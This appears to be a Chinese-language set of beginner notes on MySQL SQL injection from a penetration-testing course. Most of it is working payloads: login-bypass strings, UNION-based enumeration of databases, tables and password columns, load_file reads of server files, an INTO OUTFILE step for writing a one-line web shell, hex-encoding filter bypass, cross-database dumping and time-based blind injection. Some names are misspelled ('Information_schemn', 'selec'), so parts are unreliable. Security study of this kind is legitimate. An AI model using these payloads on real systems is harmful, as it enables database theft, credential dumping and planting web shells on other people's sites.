学习玩小迪渗透后整理的一些最基础的知识点 ,可以帮助入门SQL
1、SQL注入介绍
SQL是什么?
结构化查询语言(Structured Query Language)简称SQL,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。
SQL注入是什么?
通过在⽤户可控的参数中注⼊SQL语法,破坏原有SQL结构,修改原有SQL功能,达到出现意料之外结果的攻击⾏为。
2、Mysql注入
2.1 数据库理解
默认数据库
Information_schemn : MySQL5.0以上自带数据库,记录当前MySQL下所有的数据库名,表名,列名信息
Information_schemn.tables : 表名信息表
Information_schemn.columns : 列名信息表
table_name 表名
column_name 列名
table_schema 数据库名
2.2 基础注入
(1)字符型:SELECT * FROM Table WHERE id = '1';
' False
'' True
" False
"" True
\ False
\\ True
例子:
SELECT * FROM Articles WHERE id = '1''';
SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
(2)数字型:SELECT * FROM Table WHERE id = 1;
AND 1 True
AND 0 False
AND true True
AND false False
1-false Returns 1 if vulnerable
1-true Returns 0 if vulnerable
1*56 Returns 56 if vulnerable
1*56 Returns 1 if not vulnerable
例子:
SELECT * FROM Users WHERE id = 3-2;
(3)登陆型:SELECT * FROM Table WHERE username = '';
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+
例子:
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
' or '1' ='1 (闭合单引号 ) ' or '1' ='1' # ( 注释后面语句)
注入流程
获取字段数:order by *(取临界值)
url?id=1用以下方式查询字段数
1' ORDER BY 1--+ True
1' ORDER BY 2--+ True
1' ORDER BY 3--+ True
1' ORDER BY 4--+ True
1' ORDER BY 4--+ False- 说明只有四个字段
1' UNION SELECT 1,2,3,4--+
获取数据库名:
union select database(),2,3,4--+
获取数据库版本:version()
union select version(),2,3,4--+
获取表:
union select table_name,2,3,4 from Information_schemn.tables where table_schema = '表名'--+
获取列:
union select column_name,2,3,4 from Information_schemn.columns where table_name = '列名'--+
获取数据:
union select password ,2,3,4 from 表名--+
2.3文件操作
union select user(),2,3,4--+ #获取数据库用户信息
union select @@version_compile_os(),2,3,4--+ #获取操作系统信息
必备基础
基于root用户权限的注入点的操作
Load_file() 读文件 Into outfile() 写文件
关于网站路径的获取:
1. 报错显示(warning)
2. 谷歌黑客(warning)
3. 读取配置文件(默认路径)
4. 漏洞报错(cms爆路径)
5. 遗留文件(PHP info)
6. 字典猜解(借助工具)
注入流程
union select load_file('c:/hd.ini'),2,3,4 --+
union select load_file(0x633A2F68642E696E69),2,3,4 --+ #去掉单引号的方法
union select 一句话的编码 ,2,3,4 Into outfile c:/c.php --+ #写入一句话
2.4 防护函数的绕过
魔术引号 :magic_quotes_gpc php.ini开关
安全函数: addslashes()......
去掉引号->编码注入
2.5 MySQL高权限跨库注入
root权限下,网站A无注入点,网站B有MySQL注入,且网站A与网站B的数据库存在同一MYSQl数据库下,这时可以在网站B尽心跨库注入,获取A站的数据。
获取所有数据库名:
union select schema_name ,2,3,4 from information_schema.schemata
获取指定数据库A中表名信息:
union select table_name ,2,3,4 from information_schema.tables where table_schema = 'A'
获取指定表名AA下列名信息:
union select column_name ,2,3,4 from information_schema.columns where table_name = 'AA'
获取指定数据:
union select username ,password,3,4 from A.BB
2.6 请求方式注入
访问方式:
GET:url?a=a&b=b
POST:hackbar的post提交或python写码
COOKIE:抓包,改cookie
POST登录框注入:将注入代码写到登陆框里
COOKIE验证注入:将注入代码写到cookie里
HTTP头部注入:采用burpsuit抓包的方式修改头部任意部位
*$_SERVER[]函数可以接收访问者的头部信息
*有的站点的参数会接收数据包内的数据
2.7 参数加解密注入
base64:$id =base64_decode( $_GET['x']);
playload语句要进行base64加密
2.8 盲注——基于时间
常用函数:
ascii(substr((sql),1,1))=num // 从sql语句返回的字符串的第一位开始,截取字符串的一长度,将其转换成ascii编码,然后与num比较
ord(mid((sql),1,1))=num // ord()==ascii()
regexp ‘^[a-z]‘ // 在某些情况下,用正则表达式还是很方便的!
sleep()
if(条件,TRUE,FALSE)
mid(str,1,1)截取字符串
注入流程
limit 0,1 (从第0条记录开始取1条)
and sleep (if((selec length(database())=5),0,5))
and sleep (if((select database()='test'),0,5))
查询表名长度:
union select 1,2,3,sleep(if(length(table_name)=4,0,5)
from information_schema.tables where table_schema=database() limit 0,1
获取表名名字:
union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)
from information_schema.tables where table_schema=database() limit 0,1
2.9 最后分享一个SQL写的不错的网站: